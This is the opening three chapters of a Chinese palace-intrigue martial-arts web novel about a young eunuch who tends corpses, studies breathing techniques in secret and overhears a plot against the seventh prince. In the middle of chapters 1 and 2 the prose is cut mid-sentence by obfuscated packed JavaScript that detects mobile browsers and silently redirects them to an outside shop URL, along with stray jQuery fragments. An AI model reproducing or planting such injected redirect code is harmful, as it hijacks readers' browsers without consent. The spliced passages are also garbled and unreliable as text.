《我是一个太监》 1. 第 1 章 明德十六年冬，京师苦寒，滴水成冰。 是夜，朔风狂啸，其声凄厉，如泣如诉。 大晟皇朝紫禁城西北隅，有一处所在，名曰“净房”。 此地非是洒扫庭除之所，实乃专司宫中秽物和那无主尸身去处之卑污地界。 只见净房檐下悬着三两盏气死风灯，光影四下晃动，再配上那呜呜的风声，更是吓人。 同时净房周遭的空气中弥漫着一股子挥之不去的腥秽气，混杂着石灰与劣质烧酒的味道，更是令人作呕。 房门“吱呀”一声被推开，一股凛冽寒风卷入，吹得火苗明灭不定。 两个身影缩着脖子进来，当先是个老宦官，面皮枯皱，眼神浑浊，裹着一件旧棉袍，乃是净房管事福安。 走在后面的是个少年，不过十四五岁年纪，面白无须，身子单薄，正是李原。 他低眉顺眼，一进门便快步走到炉边，提起炉子上煨着的陶壶，给福安的粗瓷碗里斟了半碗热腾腾的劣茶，口中呵着白气道：“干爹，您老快暖暖身子，这鬼天气，真是冻煞人了。” 福安“嗯”了一声，一屁股坐在板凳上，端起碗吸溜了一口，浑浊的老眼瞥了下院中，含糊道：“……又是哪个倒霉催的？” 李原脸上立刻堆起恰到好处的愁苦与惶恐，低声道：“回干爹，是永巷那边抬过来的，说是失足落井……儿子瞧着，怕是不像。” 他声音越说越低，听着像是有些惶恐。 福安眼皮都没抬，只从鼻子里哼了一声：“管他像不像，到了咱这地界，都是一卷草席的事。手脚麻利些，莫要惹麻烦。” 宫中阴私，一万本书都写不下。他们这些人，知道得越少，活得越久。 “干爹教训的是，儿子省得。”李原腰弯得更低，脸上满是受教的神色，“儿子这就去料理干净。” 说罢，他转身从墙角取过粗布做的手套和蒙面巾，自己利索地戴好，弯着腰出去了。 寒风刺骨，刮在脸上生疼。李原走到最新那具草席前，蹲下身，解开草绳。 只见席子滑落，露出一张青紫色的年轻面孔，双目圆睁，满是惊惧，是个小太监的模样。对方身上衣衫单薄，已被井水浸透，冻得硬邦邦。 李原动作熟练，先检查了体表，口中喃喃，似是自言自语，又似是向屋内的福安汇报：“唉，真是可怜……这井沿的冰碴子，最是滑脚……” 但他手下却不停，借着搬运尸身的动作，指尖隔着薄薄的手套，极其隐秘地在那冰冷的脖颈、胸腹、脊椎处快速按压、探查。 这一探，他心中便是一凛。 武书有云：“凡外力所致之伤，筋骨断折，其势猛，其形显。若内家阴劲透体，则外皮或无损，而内脏经络已碎，触之如棉，内有异响。”（1） 此尸表面看确是溺毙，然其第三、第四节腰椎衔接处，触手有极细微的错位，非天然骨骼连接之态，更有一股阴寒暗劲残留的痕迹，虽极淡，却逃不过李原日夜揣摩《龟息功》残篇后变得敏锐的感知。 这绝非失足落井所能致！ “是了。”李原心头电转，“‘缠丝手’？或是类似的阴柔功夫。发力巧妙，震断腰椎，令人瞬间瘫软落水，外表却难留痕迹。下手之人内力修为极高，应该是后天中品。干脆利落，是要让他无声无息地‘溺毙’。” 他越想面上越是不动声色，压下心中的颤意，这是宫中哪位祖宗动的手？还是…… 一想到这手法落在自己身上，李原又不由自主地打了个哆嗦。 但李原立刻缓缓呼气，依旧是一副悲悯但又带着惶恐的样子，手上的动作也不停，利索地将尸体翻动，准备裹入新的草席。 就在拖动尸身时，他手指灵巧地一摸，从那小太监贴身亵衣一个补丁夹层里，摸出两枚明德通宝，又在其袜底，触到一小块硬物，似是碎玉。 他不着痕迹地将铜钱滑入自己袖袋，碎玉则借着整理草席的瞬间，飞快地塞进腰间的暗袋。 整个过程不过呼吸之间，即便有人盯着，也只会觉得他在认真整理遗容。 “干爹，收拾妥了。”李原朝着屋内喊道，声音带着劳作后的微喘，“您看是等天明再……还是？” 福安端着碗走到门口，眯眼看了看天：“这雪眼看要下大，堆在这儿碍眼，趁早送出去化了。” 所谓“化了”，便是送往宫外专门的化人场，一把火烧个干净。 “是，儿子这就去套车。”李原应得干脆。 他走到院角那辆破旧的平板车旁，将尸体搬上去，又用草席盖严实。拉车这活计辛苦，但他从不推诿，反倒视之为锻炼气力、揣摩发力技巧的机会。 《龟息功》虽重内息，亦需筋骨强健为基。他暗中调整呼吸，气沉丹田，看似费力，实则运用巧劲，稳稳地拉起车辕。 “慢着点，路上滑。”福安在身后嘱咐了一句，也不知是真心还是惯例。 “谢干爹关心，儿子晓得。”李原回头，又立马跪下冲着福安磕了几个头，语气真切，“天冷地滑，干爹您要是有什么想要的、想做的，都等儿子回来。儿子这就去了。”。 随后他拉起板车，吱吱呀呀地碾过积雪覆盖的石板路，朝着宫苑后门行去。 宫道两旁是高耸的宫墙。李原远远瞧见巡更太监的灯笼，赶避让到道旁，垂首躬身，直至对方远去，才重新拉起车。 他贪生怕死，深知在这禁宫之内，一步行差踏错，便是万劫不复。似方才那永巷井中的冤魂，不过是这皇宫里最常见不过的事。 李原脑中仍在回放方才探查到的细节:腰椎错位……阴劲……后天中品……这些词汇在他心中盘旋。 他对武学的痴迷，早已深入骨髓。 自无意间得到那《龟息功》残篇，他便如饥似渴地钻研。奈何无人指点，净房又非修炼之所，只能于夜深人静时，偷偷摸摸感应气感，进展缓慢。 然而，福祸相依，这处理尸体的贱活儿，却成了他另类的“武学宝库”。每一具尸体，尤其是那些非正常死亡的，都是一本无声的教材，讲述着江湖手段、宫廷阴谋、内力特性。 李原竟然凭借过人的记忆与悟性，将这些零碎信息与书中理论相互印证。他的武学见识，竟在不知不觉中远超许多苦练外功的寻常武人。 “只是，见识再高，无实力傍身，终是镜花水月。”李原心中暗叹。那《龟息功》玄妙非常，专于敛息、固本、延寿，于厮杀或显不足，于保命藏拙却是无上妙法。 他修炼至今，虽未能登堂入室，却已觉气息日渐绵长，五感较常人敏锐不少，尤其对这内力残留、阴毒暗劲，感知尤为清晰。方才那尸体上的发现，便是佐证。 “钱财虽好，终是身外之物。这武道修为，方是立身之本。”他摸了摸袖中那两枚铜钱，心中毫无得财的喜悦，反觉得这钱更像是催命符，他几乎能听到那“哗啦”的抽刀声。 但他仍需借此维持“贪财”的表象，以便用它们来换取信息，打点关系。 他所做的这一切都是为了活下去。 雪忽然下了起来，风携带着雪粒向他砸来，李原打了个寒噤，将脑中杂念抛开，更加专注地拉车。 前头就是西华门的侧小门，专供净房这等地方出入，守门的侍卫验过对牌，捏着鼻子，厌恶地挥挥手。 李原点头哈腰，赔着笑脸，小心翼翼地将板车拉出宫门。 通往化人场的土路积雪更深，车轮陷进去，行进愈发艰难。 李原默默运转《龟息功》中记载的呼吸法门，调整步伐，将拉车的负担转化为对肉身掌控的锤炼。 他感觉气息在体内若有若无地流转，驱散了些许寒意，也让疲惫感减轻不少。 他一边走，一边留意四周。偶尔有更夫或夜行人影闪过，他都提前避开，不欲多生事端。 行至一段荒僻林地，李原远远听闻前方传来几声短促的犬吠，以及压低的呵斥声。 李原心中一紧，立刻停下脚步，将板车拉到路旁树影下，藏好，屏住呼吸，凝神望去。 只见那远处雪地中，两条黑影缠斗在一处，动作快如鬼魅，劲风激得地上积雪飞扬。 其中一人身着夜行衣，另一人则穿着宫中低阶侍卫的服饰。两人拳来脚往，竟都是身负武功之辈！ 李原瞳孔微缩，心脏怦怦直跳，既是恐惧，又夹杂着一丝难以抑制的兴奋。 这是他第一次如此近距离目睹真正的武者搏杀！他竭力压制气息，借着《龟息功》的敛息之效，将自身存在感降至最低，如同一块路边的石头，瞪大了眼睛，不肯放过任何一个细节。 那侍卫使得是军中常见的“太祖长拳”，架势开阔，力道刚猛，每一拳都带着呼啸之风。 而那黑衣人，身法却诡异得多，如鬼如魅，往往于千钧一发之际避开重击，双手成爪，专拿关节要害，指尖带着“嗤嗤”破空声，显然蕴有阴毒内力。 “这爪功……似是‘幽冥鬼爪’的路子？不对，劲道更阴柔，变化更繁复……”李原脑中飞快闪过从那些尸体伤痕和书中得来的知识，试图分辨黑衣人的武功来历。他曾经在杂书中看到，江湖上有诸多邪派功夫，专走偏锋，阴狠歹毒。 缠斗不过十数招，那侍卫虽勇猛，却似乎对黑衣人诡异身法和阴柔指力极不适应，一个不慎，被黑衣人一爪扣住左肩。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347202|199531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“咔嚓”一声轻响，伴随着侍卫一声闷哼，他左臂软软垂下。黑衣人得势不饶人，另一只手如毒蛇出洞，直插其咽喉！ 侍卫目眦欲裂，奋力向后仰头，同时右拳猛击黑衣人肋下，竟是同归于尽的打法。 黑衣人似不愿硬接，身形一飘，避开拳锋，那致命一爪也偏了方向，只在侍卫脖颈上留下三道深深血痕。 侍卫趁机踉跄后退，捂住脖颈，鲜血自指缝涌出。他怨毒地瞪了黑衣人一眼，似知不敌，转身便向密林深处逃去。 黑衣人并未追赶，只是冷冷地看着他消失的方向，缓缓收起架势。 李原伏在暗处，大气不敢出。他看得分明，那侍卫脖颈上的伤口，乌黑发紫，显然爪上带毒！这黑衣人，是个心狠手辣的角色。 黑衣人站在原地，微微喘息，显然刚才搏杀也耗力不小。 他警惕地四下张望片刻，目光似乎从李原藏身之处扫过。 李原只觉得一股寒意从脊梁骨升起，连忙将头埋得更低，心中默念《龟息功》口诀，周身气息近乎停滞。 许是李原敛息功夫了得，许是北风和砸落的雪粒掩盖了一切，黑衣人并未发现异常。他迅速清理了现场打斗的痕迹，身形一闪，便如青烟般消失在另一个方向。 良久，直到确认黑衣人早已远去，李原才缓缓吐出一口浊气，后背已被冷汗浸湿。 方才那一刻，他真切感受到了死亡的威胁。在这等高手面前，他这点微末功夫，根本不够看，与那板车上的尸体并无区别。 “后天境界……至少是后天中品，甚至更高。”李原心中评估着那黑衣人的实力，对比自己那可怜的、刚刚入门的气感，一股强烈的无力感涌上心头。但他旋即又将这情绪压下，眼中反而燃起更炽热的光芒。 “武道之途，果然神妙非凡！若能拥有那般身手，天下何处去不得？又何须在这净房之中，与死人为伍，终日提心吊胆？” 他一边想着，一边重新拉起板车，继续前行。 将尸体送至化人场，交割文书，看着那具年轻的躯壳被投入熊熊烈焰，李原面色平静，心中却无半分波澜。 冷心冷血，并非天生，而是这吃人宫廷用无数血淋淋的事实教会他的生存法则。同情、怜悯，在这里是最无用的东西。 待到他返回净房时，天边已泛起一丝鱼肚白。福安早已睡下，值房里鼾声如雷。 李原轻手轻脚地收拾好工具，脱下沾染了尸臭和雪水的外袍，用冰冷的井水仔细擦洗了手脸。 他回到自己那狭窄、冰冷的铺位，却毫无睡意。袖中的两枚铜钱、腰间的碎玉，都被他取出，放在眼前。 李原闭上眼，在脑海中反复回味那黑衣人的身法、指力，与书中理论、尸体伤痕相互印证，只觉得对武学的理解又深了一层。 “《龟息功》需加紧修炼。内力，才是一切的根本。”他暗自思忖，“净房虽贱，却也是藏身修行的好地方。只是，长久待在此处，眼界终是有限。那藏书阁……还是得再回藏书阁才行！” 这时，李原忽地睁开眼。 “咳……咳……咳！”隔壁传来了福安断断续续的闷咳声。 李原再一抬头起身，来到福安跟前，已经换了另一副样子。正是那卑躬屈膝、低眉顺耳的模样。 “干爹！您这是……孩儿再给你寻些药吧？”李原一边扶着福安，一边端起碗，给福安喂水。 福安咳得上气不接下气，话都说不出来，只是摆了摆手。 李原垂眉，不再说话，只是继续拍着老太监的后背。 半晌过后，福安慢慢起身，就着李原手里的碗漱口。 “干爹您擦手。” 福安眼皮抬了抬，从鼻子里“嗯”了一声，算是应答。 他接过毛巾，目光扫过李原，浑浊的眼中闪过一丝旁人难以察觉的情绪，道：“昨夜啥时候回来的？” 李原忙放下破盆，从怀里掏出个小布包，双手奉上，赔笑道：“累得干爹担心了，儿子天亮回来的。那家伙是个穷鬼，儿子瞧他身上也没甚值钱物，就这包碎烟叶子，还堪入口，特地孝敬干爹您。” 福安接过，掂了掂，脸上立马多了一丝笑意，哼道：“就你猴精。罢了，今日你机灵点，抽空打个盹，这鬼天气，冻煞个人。” “是是是！”李原低头哈腰，顿了一下，又说道，“干爹，儿子还想去藏书阁看看。” 福安熟练地往烟锅里放烟丝，眉毛也不抬一下:“去吧，招子放机灵点，别挡了贵人的道。我已经和福平说了，许你进去半日。” “多谢干爹！”李原赶紧跪下来，“咚咚咚”地磕了几个响头，手心瞬间拽紧。 2. 第 2 章 屋内炭火噼里啪啦地响着。 福安靠在藤椅上，眯着眼吞云吐雾。那烟味儿辛辣，混着屋里固有的霉腐气，更是让人作呕。 他斜睨着跪在地上的李原，慢悠悠道：“起来罢，磕这几个头，够诚意了。” 李原这才起身，垂手立在一边，脸上仍是那副感恩戴德的模样。 福安吐出一口烟圈，似是随意问道：“怎的又想起去那地方？藏书阁冷清得鬼都打得死人，比不得咱们这儿‘热闹’。” 李原心里一紧，面上却堆起憨笑，回道：“干爹明鉴，儿子前几日听几个路过的小火者闲聊，说藏书阁里虽没什么金银，却有些孤本残卷，若能寻着一两本，或许……或许能孝敬给哪位喜好风雅的公公，换个前程。” 他这话半真半假，既点明了自己“贪财攀高枝”的心思，又将动机归结于“孝敬”，让人挑不出错处。 “哦？”福安浑浊的老眼在李原脸上转了一圈，不置可否，“你倒是个有想法的。罢了，想去便去，只是记着，不该看的别看，不该碰的别碰。那地方……水深着呢。” “儿子省得，绝不敢给干爹惹祸。”李原连忙保证。 福安挥挥手，像是驱赶苍蝇：“去吧去吧，早去早回，这里一堆活儿呢。” 李原应了声，退了出去。直到走出净房那低矮的院门，被冷风一激，他才觉得后背有些发凉。方才福安那一眼，似乎能看透人心。他暗自警醒，在这宫里，任何时候都不能放松警惕。 去藏书阁的路，他熟悉得不能再熟悉。李原避开主干宫道，专拣那些僻静无人的夹巷小路。他脚步匆匆，低眉顺眼，遇到巡逻的侍卫或等级稍高的宦官，便提前避让到墙根，躬身垂首，姿态放得极低。 约莫一炷香的功夫，眼前出现一座略显陈旧的殿阁。比起紫禁城其他地方的金碧辉煌，这里显然破旧许多。匾额上“藏书阁”三个大字，漆色也有些剥落。门口只有一个老太监抱着扫把打盹，这就是福平。 李原整了整衣袍，上前几步，立马跪下，恭敬地唤道：“福平公公。” 那老太监眼皮掀开一条缝，懒洋洋地打量他：“嗯？何事？” “小子是净房的李原，奉干爹福安之命，前来……前来给您送孝敬。”他说着，从袖中摸出一个小银角子，不动声色地塞了过去。 这是他平日里从尸体上“刮”来，省吃俭用存下的，此刻用在这里，正是时候。 福平掂了掂银子，脸上露出一丝笑意，态度和缓了些：“哦，是福安的人啊。进去吧，规矩都懂？” “懂，懂，绝不敢损坏书籍，绝不敢大声喧哗。”李原连忙道。 “嗯，右边那些架子是经史子集，左边是杂学、医卜星相，最里头有些旧档，没什么看头。你自己转转，莫要走太深，惊扰了贵人。”福平嘱咐了几句，便又阖上眼，继续打他的盹去了。 李原道了谢，深吸一口气，迈步跨过高高的门槛。 推开门，一股陈年墨香混合着尘埃的味道扑面而来，李原随即一颤，但很快恢复如常。 阁内光线昏暗，一排排高大的书架矗立着，上面密密麻麻堆满了各式书籍卷轴，许多都蒙着厚厚的灰。 这个藏书阁算是已经废弃，新的藏书阁在明德二年，就已经建成，就座落在紫禁城的东北方，名为“知行阁”。 而这个藏书阁之所以还能留着，正是因为圣上仁厚，留给冷宫的妃子、皇子所用。 因此稍微有点权势的内侍都看不上。 但李原心中却涌起一股难以言喻的激动，他按捺住立刻扑向武学区域的冲动，先是依着礼数，在门口对着空荡荡的大殿行了个礼，口中念念有词，先是叩谢圣上隆恩，紧接着是告罪。随后，这才小心翼翼地沿着福平指点的右边书架慢慢看去。 《十三经注疏》、《资治通鉴》、《景和大典》（部分抄录副本）……皆是煌煌巨著。但这些都不是李原需要的。 他粗略扫过，目光便迫不及待地投向左侧区域。 那边摆放着以下书籍：《营造法式》、《天工开物》、《本草纲目》……杂学类的书籍同样多如牛毛。 他脚步不停，直到看见几个书架上标注着“武备”、“养生”、“方技”等字样，心跳才骤然加速。 他停下脚步，假装随意地抽出一本《八段锦导引图》，翻看起来。图式粗浅，不过是民间流传的健体之法，与他所求相去甚远。但他依旧看得认真，手指轻轻拂过书页，仿佛在欣赏什么绝世珍品。 这是做给可能存在的“眼睛”看的。 约莫过了一刻钟，他放下《八段锦》，又拿起一本《五禽戏详解》，同样细细翻阅。同时，耳廓微动，仔细倾听周围的动静。除了他自己的呼吸和翻书声，阁内一片死寂，唯有窗外风声呜咽。 时机差不多了。 他将《五禽戏》放回原处，脚步看似无意地向书架深处挪去。越往里，光线越暗，书架上的灰尘也越厚，显然久无人至。这里堆放的多是些残破不堪、或是内容生僻无人问津的书籍。 李原的目光如同最精细的篦子，一寸寸扫过那些发黄、卷边的书脊。 《西域风土志》、《海外异兽图录》、《梦溪笔谈残卷》……忽然，他的目光定格在一本没有书名、封面是深蓝色厚纸、边缘已磨损起毛的薄册上。 他心头一动，伸手将其取下。册子很轻，入手微凉。翻开一看，里面是密密麻麻的蝇头小楷，墨迹陈旧，并非印刷，而是手抄。 只见开篇便是：“夫气者，生之元也。聚则成形，散则成风。呼吸吐纳，乃窃天地之机也……” 李原呼吸一窒！这并非什么高深的内功心法，而是一本名为《呼吸导引杂论》的笔记，著者不详。里面杂糅了道家吐纳、佛家禅定、乃至一些医家导引术的见解，论述如何通过调整呼吸，涵养元气，祛病延年。其中许多观点，与他所得的《龟息功》残篇竟有异曲同工之妙，甚至在某些细节上更为详尽！ “妙极！”李原心中狂喜，如同乞丐捡到了狗头金。 这杂论虽非攻杀之术，却正是他目前最需要的根基之学！《龟息功》残篇语焉不详之处，在此竟能找到补充和印证！ 他强压下立刻通读的冲动，迅速将册子揣入怀中，贴身藏好。他动作快如闪电，就是有人在他身边盯着，也不会引起对方的任何注意。 得了此物，他心满意足，不敢再多停留。李原又随意在杂学区翻看了几本医书、农书，磨蹭了片刻，这才向外走去。 经过门口时，福平仍在打盹，似乎根本不曾察觉他进去做了什么。李原心中稍定，躬身行礼后，拿起角落的扫帚，把整个前后院打扫得干干净净的，甚至连被积雪覆盖的石板路，都铲了出来。 做完这些后，他扑通一声跪下，恭恭敬敬地给福平磕头，这才慢慢地退了出去。 待到李原的脚步声彻底消失，刚刚还像睡死了的福平睁开眼，抬眸望向灰暗的天，喃喃自语道:“有心思是好，就看有没有那命了……” 回净房的路依旧谨慎。他将那本《呼吸导引杂论》捂在胸口，只觉得比什么金银财宝都来得珍贵。 此后数日，李原白天依旧在净房当值，勤勤恳恳，谄媚狗腿之态更胜往昔。对福安伺候得愈发周到，对同僚也更加“大方”，偶尔得了值钱的小玩意儿，也一边忍痛但又装作大方人分享，将“贪财却又不得不仗义疏财”的小人演绎得淋漓尽致。 唯有到了深夜，他才敢拿出那本册子，就着窗外微弱的天光或是油灯，如饥似渴地研读。他不敢点明火，怕引人注意，全仗着日渐增强的目力与过人的记忆力。 《呼吸导引杂论》内容博杂，有些地方甚至相互矛盾，著者似乎也只是在探索阶段。 但这正合李原之意。他本身就有《龟息功》残篇打底，又从那无数尸体上“见识”过各种内力造成的伤害，理论与实践结合，反而能从中甄别出对自己有用的部分。 他按照书中法门，结合《龟息功》，调整呼吸节奏，意念引导那微弱的内息在体内缓缓流转。 起初仍是艰涩，但有了更详尽的理论指导，许多关窍豁然开朗，进展竟比之前快了不少。丹田处那缕气感，日渐茁壮，虽仍细微，却已能清晰地感知其存在与流动。 这一夜，他正沉浸在修炼中，忽闻窗外传来极轻微的“嗒”的一声，似是瓦片轻响。 李原瞬间惊醒，如同受惊的兔子，将册子塞入枕下缝隙，整个人蜷缩进被子里，呼吸变得绵长细微，正是《龟息功》的敛息状态。 他屏息凝神，耳贴墙壁，仔细倾听。 外面只有风声。过了许久，再无异动。 是野猫？还是……？ 李原不敢大意，维持着敛息状态，直到天边泛起微光，也未曾合眼。他心中那根弦，绷得更紧了。这皇宫，果然是危机重重。 翌日当值，他显得有些精神不济，哈欠连天。福安瞥了他一眼，哼道：“夜里做贼去了？” 李原苦着脸，揉着额角道：“干爹说笑了，儿子是昨夜被耗子闹得没睡好。咱们这地方，吃的没有，耗子倒是个顶个的肥壮。” 福安嗤笑一声，不再理会。 李原心中却并未放松。他借着外出处理杂物的机会，仔细观察了净房四周，尤其是他住处窗外的地面、屋顶。积雪未化，并未发现明显的脚印痕迹。 “或许真是我听错了？”他暗自思忖，却不敢掉以轻心。谨慎小心，已刻入他的骨髓。 又过了几日，宫中气氛似乎有些微妙的变化。往来传递消息的小火者脚步匆匆，各宫门的守卫盘查也严格了些。 李原从那些被处理掉的、因“急病”或“意外”身亡的太监宫女身上，嗅到了不同寻常的气息。 他看着手里那具脖颈有细微勒痕、却被报作“自缢”的宫女尸体，心中冷笑：这绳痕角度不对，分明是被人从身后勒毙。又是灭口。 他不动声色，照常处理，照常“刮”取微不足道的财物，照常与相熟的小太监交换些零碎消息。 综合各方信息，他隐约拼凑出一个轮廓：似乎与司礼监某位秉笔太监有关，涉及宫外某位大人，具体何事，却非他这等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347203|199531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 层级所能窥探。 “山雨欲来啊。”李原心中凛然。这种高层级的争斗，一旦卷进去，便是粉身碎骨。他必须更加小心，同时，也要想办法给自己留条后路。 他想到了曾经在冷宫里住过一段时间的七皇子——朱暄。如果能到贵人身边…… 李原狠狠地掐了自己一把，在宫里最忌讳好高鹭远，尤其是他们这种连人都算不上的太监。采买的太监爷爷们花上一两银子，就能买上好几个懂事听话的小孩…… 他闭上眼，缓缓呼出一口气，继续把尸体拉出宫外。 但这个念头一旦生出，便如同野草般生长。 如何接近一位皇子，哪怕是不受宠的皇子，也绝非易事。他需要一个契机，一个能展现自己“价值”，却又不会引火烧身的契机。 这日，他照例去给福安收拾房间，无意间瞥见福安枕边放着一本《三国志通俗演义》，书页间夹着一片枯叶作为书签。 李原心中一动。福安识字不多，怎会看这等书？他留了心，之后几日，发现福安偶尔会对着书本发呆，或与一二相熟的老太监低声议论几句“刘关张”、“诸葛孔明”之类。 他忽然明白了。这些老太监，身处底层，眼见宫中风云变幻，自身命运如同浮萍，难免会对那些忠义、智谋的故事心生向往，或是借此排遣寂寞。 这是一个突破口。 李原开始有意无意地在福安面前，提及一些《三国》、《水浒》中的桥段。 他口才便给，又善于揣摩人意，专挑那些义气深重、主仆相得的故事来讲。讲到关云长千里走单骑，他唏嘘不已；讲到赵子龙长坂坡七进七出，他眉飞色舞。 福安起初只是听着，后来渐渐被吸引，听到精彩处，甚至会拍腿叫好，连烟也不抽了，浑浊的老眼中闪过一丝久违的光彩。 “你小子，倒是肚里有些墨水。”福安难得地夸了他一句。 李原谦虚道：“干爹过奖了，儿子不过是以前在杂役房，听一个老书吏讲过几段，记在心里罢了。比不得干爹您见识广博。” 他趁热打铁，说道：“干爹，儿子听说，那藏书阁里，似有全本的《三国志平话》，还有不少演义话本，比市面上流传的还要全些。若您老有兴趣，儿子下次去，想法子给您寻来看看？” 福安眼睛一亮，随即又黯淡下去，摆摆手：“罢了，那地方……咱家去不得。” 李原立刻道：“何须干爹亲自去？儿子腿脚勤快，帮您老跑腿便是。只是……那管理书阁的福平公公那里，怕是还得打点一二。”他说着，面露难色。 福安沉吟片刻，从枕下摸出块略大些的碎银，递给李原：“罢了，你看着办。若能寻来，咱家少不了你的好处。” 李原心中暗喜，面上却推辞道：“为干爹办事，是儿子的本分，怎敢要赏钱？” “叫你拿着就拿着！”福安眼睛一瞪。 李原这才“勉为其难”地收下，口中连声道谢。他知道，藏书阁这条线，算是初步搭上了。通过给福安寻书，他日后出入藏书阁，便多了个合情合理的由头。而且，能与福安这老油条关系更近一步，只有好处，没有坏处。 他再次前往藏书阁，底气足了些。李原依旧贿赂了福平，进去后，先是认真为福安寻找话本演义，果然找到几册纸张发黄、但内容完整的抄本。他将这些书小心包好，放在一旁。 然后，他才再次潜入那些堆放杂书的深处，寻找对自己有用的典籍。这一次，他目标明确，专找那些关于经脉、穴道、医药、以及前朝宫廷秘闻之类的“杂书”。 功夫不负有心人。在一堆几乎被虫蛀空的旧档中，他又发现了一本前朝太监留下的笔记残卷，里面竟零星记载了一些宫中流传的、似是而非的练气法门，以及几种鉴别常见毒物的方法。虽不成系统，却也是难得的补充。 李原如获至宝，将其内容强行记下。经过上次夜里的事后，这次他不敢带走原件，风险太大。甚至连上回那本小册子，他都放回了原处。 待到时辰差不多，他拿着为福安找的话本，离开了藏书阁。 福安见到那几本话本，果然大喜，连着几日都对李原和颜悦色。李原趁机又讲了些故事，愈发投其所好。 借着这层关系，李原从福安口中，断断续续听到了一些宫中的人事变迁、各位主子的性情喜好、以及某些不为人知的忌讳。这些信息，被他一一牢记，融入他那庞大的“信息库”中。 他就像一只耐心的蜘蛛，在宫廷这巨大的蛛网边缘，悄无声息地编织着属于自己的、微不足道的一根丝线，等待着风起的那一刻。 而他的武道修炼，也从未停止。《呼吸导引杂论》与《龟息功》残篇相互印证，进展虽慢，却一步一个脚印。他感觉自己的气息愈发绵长，耳目也似乎更聪敏了些。偶尔运气于指，按在硬木上，竟能留下一个极浅的印子。 这微末的进步，带给他无比的满足与希望。在这冰冷残酷的宫廷中，唯有自身实力的增长，是唯一真实可靠的东西。 他知道，路还很长。但他有时间，也有耐心。 3. 第 3 章 屋内炭火将近熄灭，只余些微红光，映在福安的那张老脸上。 他靠在破藤椅上，手里摩挲着李原新寻来的《三国志平话》抄本，却并未翻开，只眯着眼，似睡非睡。 李原垂手立在门边，不敢打扰，心中有了些许成数。 这几日宫中气氛诡谲，连净房这等地方都透着一股山雨欲来的压抑。被送来的尸首，虽依旧挂着“急病”、“失足”的名头，但那伤痕，却愈发蹊跷和可怕。 他前日处理的一具，观其颈骨断裂处，平滑齐整，绝非寻常力道所能为，倒像是被极细韧的丝线一类之物瞬间勒断。这等手法，阴狠精准，非寻常宫人所为，怕是牵扯到了那些神龙见首不见尾的内廷高手，或是江湖上的诡秘手段。 “小原子。”福安忽然开口，声音沙哑。 “孩儿在。”李原忙上前一步，腰弯得更低。 “这几日，手脚都干净些。”福安眼皮微抬，浑浊的目光扫过李原，“莫要像那没头的苍蝇，乱撞乱瞧。有些事，看见了，也当没看见；有些话，听到了，也烂在肚子里。” 李原心头一凛，知道福安这是在提点他，亦是警告。他脸上立刻堆起惶恐与感激：“干爹教诲得是！儿子胆小，只求平平安安，绝不敢多事。” 他脑子却飞速转动，福安此言，印证了他的猜测，宫中确有大事发生，且风波已波及底层。 福安“嗯”了一声，挥挥手：“去吧，把昨儿个永巷那边送来的‘东西’处置了，利落点。” “是。”李原应下，退了出去。 院中寒气逼人。 他走到那卷新送来的草席旁，蹲下身，动作熟练地解开。这依旧是一具年轻太监的尸身，面色青白，双目圆睁。 李原依着惯例，一边口中念叨着“可怜”，一边下手隐秘探查。当他指尖触及其胸腹时，动作一顿，旁人几不可查。 此人脏腑竟已被震得稀烂，外表却只有胸口一个淡淡的乌青掌印！这掌力阴柔歹毒，透体而入，毁人内里而不坏其表，分明是极高明的内家功夫，且带着一股邪戾之气。 “摧心掌？还是类似的阴毒掌法……”李原脑中闪过那几个从杂书笔记上看来的名目，背后沁出一层冷汗。 下手之人功力深厚、手段狠辣，绝非善类。他默默记下这掌印特征与内力残留的细微感应，将其纳入自己那不断扩大的“武学见闻录”中。 处理完尸身，他照例拉车送往化人场。路上，他比往日更加警惕，耳听八方，眼观六路。行至那日遇见黑衣人搏杀的荒僻林地附近时，他特意放缓了脚步，凝神感知。 风中似乎还残留着一丝极淡的血腥气，以及……一种若有若无的甜香，似是某种特制的金疮药味道。 李原心中一紧，立刻运转《龟息功》，将自身气息收敛到极致，借着路边枯草丛的掩护，悄悄向内窥探。 只见枯树丛间，竟然是当日那个黑衣人！ 对方正背对着他，撕开肩头的衣物，露出一道深可见骨的剑伤，那人正在上药。那伤口皮肉外翻，周围泛着不正常的青黑色，显然中毒不浅。 而更让李原心惊的是，在黑衣人侧前方不远处，还站着一人！此人身着藏青色宦官服饰，品级似乎不低，面白无须，眼神锐利如鹰，正冷冷地看着黑衣人动作。 “废物。”那宦官开口，声音尖细冰冷，“连个小小的侍卫都收拾不干净，还中了人家的淬毒暗器，要你何用？” 黑衣人闷哼一声，声音沙哑：“曹公息怒。那朱瑄身边的护卫，并非寻常角色，是北镇抚司出来的硬茬子，身手刁钻得很！” 朱瑄！七皇子！ 李原心中巨震，连忙屏住呼吸，不敢稍动。这事涉及宫廷内脏事，只要被他们发现，自己绝对会成为化人厂中的一具尸体！ 李原把自己缩得更小，心下暗暗大惊。这黑衣人竟是冲着七皇子去的！而这被称作“曹公”的宦官，观其气度服饰，莫非是……司礼监那位随堂太监曹敬？或是其心腹？ “哼，北镇抚司又如何？”曹公公嗤笑一声，“主子吩咐的事，办砸了，便是死罪。若非看在你还有几分用处的份上，咱家此刻便结果了你！” 黑衣人低下头，不敢反驳。 